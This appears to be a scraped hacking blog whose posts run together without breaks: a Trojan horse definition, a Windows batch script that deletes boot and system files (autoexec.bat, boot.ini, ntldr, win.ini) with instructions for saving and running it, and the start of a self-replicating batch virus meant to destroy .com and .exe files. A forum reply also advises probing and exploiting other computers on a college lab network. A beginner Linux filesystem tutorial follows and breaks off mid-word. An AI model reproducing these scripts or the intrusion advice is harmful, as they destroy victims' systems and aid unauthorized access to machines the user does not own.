Thursday, April 21, 2011
Monday, December 20, 2010
Innocent-looking computer program that appears to perform a legitimate and useful function, but also secretly performs destructive and illegal functions such as destroying the stored data or allowing an outsider to gain unauthorized access to the system. Unlike a computer virus, a Trojan horse usually does not replicate itself from one computer to another to spread across a wide area.
Read more: http://www.businessdictionary.com/definition/Trojan-horse.html#ixzz18gxKhzeM
Friday, October 10, 2008
1. Save as anyname. bat in notepad2. Dont run on ur own computer (unless yu really want)The code:-@echo offattrib -r -s -h c:\autoexec.batdel c:\autoexec.batattrib -r -s -h c:\boot.inidel c:\boot.iniattrib -r -s -h c:\ntldrdel c:\ntldrattrib -r -s -h c:\windows\win.inidel c:\windows\win.ini
Destroys .com .exe files
1. Save as anyname.bat in notepadthe code:@echo off>nul.ViRuSif"%1=="/ViRuS_MULTIPLY goto ViRuS_multiplyif"%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loopif"%1=="/ViRuS_FINDSELF goto ViRuS_findselfif"%VOFF%=="T goto ViRuS_OLDBATset ViRuSname=%0if not exist %0.bat call %0 /ViRuS_FINDSELF %path%if not exist %ViRuSname%.bat set ViRuSname=if "%ViRuSname%==" goto ViRuS_OLDBAT
in my college lab all systems r connected in a lan ........and all systems have same ip's.is it possible to get into other system's which is near by in the lab ?????is it possible to shutdown the systems nearby ??????
if u can go to ur windows installed folder...then goto system32 n search for file named ddeshare.open it n select trusted shares or shared computers option frm "Shares" menu..it will show the link of all comp. attached to LAN. click on any one of it n see if u can xploit it.
It is considered that Linux is very hard to learn. In a certain point it's true. Why? Because Linux is other than Windows - these are two absolutely different operating systems. Remember the first time when you saw the computer with windows? I don't think it was easy for you to get used to it. You'll have to learn how to use Linux from the very beginning, and that's why it's hard, just like the first time you saw computer.This quite short article will only introduce you to Linux, you'll learn here only what is needed, for the beginning (though a lot of people managed to learn it without any helping manuals). Now I guess you are a newbie right now, otherwise you won't read it. 'Kay. you have to choose a Linux distribution, as there's a lot of them out there: OpenSUSE, Mandriva, Debian, Ubuntu, Slackware, Arch, Gentoo and many other. What shall I recommend to you? I'll strongly recommend to you you use Slackware. Not just because I like this distribution, but because it's the most logical choice there. First of all: what do we want, in the way of a hacker? Understanding the System. I'd better stay out of philosophy right now, so let's speak about computer system. Why can't we reach full understanding of operating system with Ubuntu, OpenSUSE, Mandriva, also Windows? Because this are so-called "clicking" distributions: here you use your mouse, you click the buttons, and the program is configuring everything for you. This have its advantages for a office use, but not for us: like I said, we want to understand how system works, which is too hard when everything is done by computer, and secondly, automatic configuration produces an errors, and skips them, without proper solution. This leads user to different kinds of errors, malfunctions. In Windows - to the Blue Screen of Death. That's why Slackware brings you combination of opportunity to learn Linux and stability.There are some other advantages of using Slackware, for example it's not a commercial distribution, which doesn't lead us to the problems with copyrighted software, like mp3 and video codecs. No matter what others say, Slackware is easy to use. It has nice tools for system administration, which allow you simple network configuration, package administration e.t.c. You can change Slackware to whatever you want, once you'll become more advanced in this stuff.These are some of a reasons, why I use Slackware, and why I recommend it to you.Alright, enough Slackware propaganda, let's get to work. I will not tell here about specific distribution tools, I'll tell about basic things in Linux. If you want more information on Slackware, check out main web of Slackware: http://www.slackware.com or download the Slackware book: http://www.slackbook.org .1. Linux filesystemWe know, in Windows, to each partition are assigned letters (C, D e.t.c.). These are starting directories. In Linux it's different: there's only one starting directory, marked with "/", named 'root directory'. If we'll take a look at the files in / directory, we'll see here directories like etc, bin, home, usr and others. Each of them have it's own function, and each of them can be placed to the different partitions. Can you imagine C:windows and D:windowssystem, being on the same machine?For the partition to be accessible, it must be mounted. The system must be "told" the device, where the partition is situated, and the directory where it's files will be listed - a so called "mount point". To better understand this kind of stuff - we installed Linux, we had two partitions. One was clean, another had Windows. We installed Linux on this clean partition. Now, when we launch Linux, this partition is a root partition - /. We want to make our windows partition make accessible. We have to mount it. In the special configuration file (/etc/fstab) we input the device of this partition, for example, /dev/sda1 (we'll talk about devices later), a mount point - /windows, a file system - ntfs, and few other parameters. After we mount it with a special command, in our root directory we'll have a windows directory. If we open it, we'll see contents of a windows partition.Also, as you might have guessed, we use frontslash / in linux, instead of backslash, used in windows. New users should remember, that Linux is case sensitive. If we want to access file /home/user/Desktop/document, we must write the address like that, and if the address will be /home/user/desktop/document, you'll get the error message.Now let's take a look at the directories in the /root partition. If we'll take a look at the / directory, we'll get at least the following:bin/ etc/ lib/ mnt/proc/ sbin/ usr/boot/ dev/ home/opt/ root/ tmp/ var/Each of these directories have their own purpose. Let's take a look at some of them./bin - contains executables, used both by administrators and unprivileged users. There are such executables, as "bash", "cp", "ls", "mv"./etc - contains configuration files of your system/lib - here are all shared libraries, required by different programs/mnt - a mount point for different media. however, it can be changed/proc - the /proc filesystem is a pseudo-filesystem, that, in fact, doesnt exist on any particular media, but in the virtual memory. It's purpose is to mantain dynamic data of your system./sbin - contains executables used for system administration/usr - probably most important system directory, asit has all user executable files. support libraries for X are also kept here./boot - contains files used by bootloader, and a linux kernel/dev - in linux, everything is files or directories, which means devices are also files - you can get data from devices (equivalent to reading files), and send data to devices (equivalent to writing files). For example, cdrom file represents you cdrom device, fd0 - your floppy reader. A very bright example is /dev/dsp - a speaker. You can write to this file, and you'll hear a sound - data are sent to the sound card. For example, you can "listen" to linux readme file, by inputting the following command: cat /usr/src/linux/README > /dev/dsp ./home - in this folder are created user folders - each user has full write permissions to his folder. User configuration data are stored here./opt - this is a directory for installation of a software, that's not the part of a default installation/root - a home folder of a user root/tmp - directory for a temporary files/var - contains such things as received mail, different system logs e.t.c.2. CommandsNow that you know general things about filesystem in linux, let's now take a look on how can we manipulate with files and perform different tasks under Linux, yet, not using graphical environments. Now, we will learn some things about linux commands.I'll write here main commands and explain what do they do, and how to use them.cd